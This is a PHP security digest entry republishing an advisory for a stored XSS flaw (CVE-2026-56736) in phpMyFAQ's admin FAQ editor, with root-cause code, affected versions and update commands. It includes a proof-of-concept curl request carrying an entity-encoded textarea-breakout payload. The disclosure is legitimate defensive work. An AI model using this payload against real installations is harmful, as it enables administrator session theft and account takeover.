PatchClock

PHP security digest · 24 Sep 2026

phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission

High CVE-2026-56736

Packages
thorsten/phpmyfaq, phpmyfaq/phpmyfaq
Fixed in
4.2.0-alpha
Published
Thu 24 Sep 2026, 20:28 LisbonUpdated Mon 26 Oct 2026, 01:26 Lisbon
Installs on Packagist
151

In plain words

An unauthenticated visitor or low-privileged registered user can submit a FAQ containing stored JavaScript that runs when an administrator reviews or edits it. This requires the frontend rich-text editor to be enabled and the attacker to be allowed to submit FAQs. The script can steal the administrator's session and take over their account; the public FAQ view is not affected.

Affected versions

PackageAffectedFixed in
thorsten/phpmyfaq< 4.2.0-alpha4.2.0-alpha
phpmyfaq/phpmyfaq< 4.2.0-alpha4.2.0-alpha

Am I affected?

Check composer.lock for thorsten/phpmyfaq or phpmyfaq/phpmyfaq at a version below 4.2.0-alpha, the fixed version. Check whether main.enableWysiwygEditorFrontend is true (non-default), whether at least one FAQ category exists, and whether guests or low-privileged registered users can submit FAQs. Guest submissions use records.allowNewFaqsForGuests, which defaults to true. The vulnerable view is the admin FAQ editor, where administrators review or edit stored submissions.

What to do

Check which version you have, then update to a fixed release for your branch (4.2.0-alpha):

composer show thorsten/phpmyfaq | grep versions
composer update thorsten/phpmyfaq

If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.

The advisory's description

Summary

A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because html_entity_decode() converts HTML entities into executable HTML after strip_tags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.

Details

Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)

$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {
    $answer = trim(html_entity_decode((string) $answer));
}

Root cause:

Filter::filterVar() with FILTER_SANITIZE_SPECIAL_CHARS internally calls filterSanitizeString() which applies strip_tags() to remove HTML tags. However, strip_tags() only removes actual HTML tag syntax (e.g., <script>) — it does NOT remove HTML entities (e.g., &lt;script&gt;).

When enableWysiwygEditorFrontend is true, html_entity_decode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.

Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)

<textarea id="editor" name="answer" class="form-control" rows="7"
          placeholder="{{ 'msgAnswer' | translate }}"
>{{ faqData['content'] | raw }}</textarea>

The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:

$this->faq->getFaq($faqId, null, true);
$faqData = $this->faq->faqRecord; // Raw content from DB

Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.

PoC

Prerequisites:

  • main.enableWysiwygEditorFrontend = true (non-default, but commonly enabled for rich-text user FAQ contributions)
  • records.allowNewFaqsForGuests = true (DEFAULT value — guests can submit FAQs)
  • At least one FAQ category must exist

Step 1: Inject XSS payload as unauthenticated guest

curl -X POST https://TARGET/api/faq/create \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Legitimate User",
    "email": "user@example.com",
    "question": "How to configure SMTP settings?",
    "answer": "&lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;",
    "lang": "en",
    "keywords": "smtp email",
    "rubrik": ["1"],
    "captcha": "<valid-captcha-or-empty-if-disabled>"
  }'

Response: {"success":"Thank you for your suggestion!"}

Processing trace:

  1. Input answer: &lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;
  2. filterSanitizeString() → strip_tags() finds no actual <tag> syntax → string passes through unchanged
  3. html_entity_decode() converts entities → </textarea><img src=x onerror=alert(document.domain)><textarea>
  4. Stored in database as raw executable HTML

Step 2: Admin triggers XSS by reviewing the submitted FAQ

When an administrator navigates to edit the submitted FAQ entry:

GET /admin/faq/edit/{faqId}/{lang}

The admin template renders:

<textarea id="editor" name="answer" class="form-control" rows="7"
          placeholder="Answer"
></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>

The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.

<img width="1387" height="562" alt="admin stored xss alert poc" src="https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a" /> <img width="1393" height="805" alt="admin stored xss poc" src="https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333" />

Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).

Impact

  • Stored XSS targeting administrators — every FAQ submission is reviewed by an admin, guaranteeing payload delivery
  • Admin account takeover — attacker can steal session cookies, create new admin accounts, or modify system configuration
  • No special privileges required — default configuration allows guest FAQ submissions (records.allowNewFaqsForGuests = true)
  • Public view is unaffected — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable

Weakness: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Reported by JosanGeorge.

The advisory

From OSV.dev, which gathers the GitHub Advisory Database, FriendsOfPHP and Drupal security advisories; the summary is theirs. The description, affected versions, weakness and credits are from the GitHub Advisory Database (CC BY 4.0). "In plain words", "Am I affected?" and "If you cannot update yet" are based on that advisory, and checked to name no version it does not.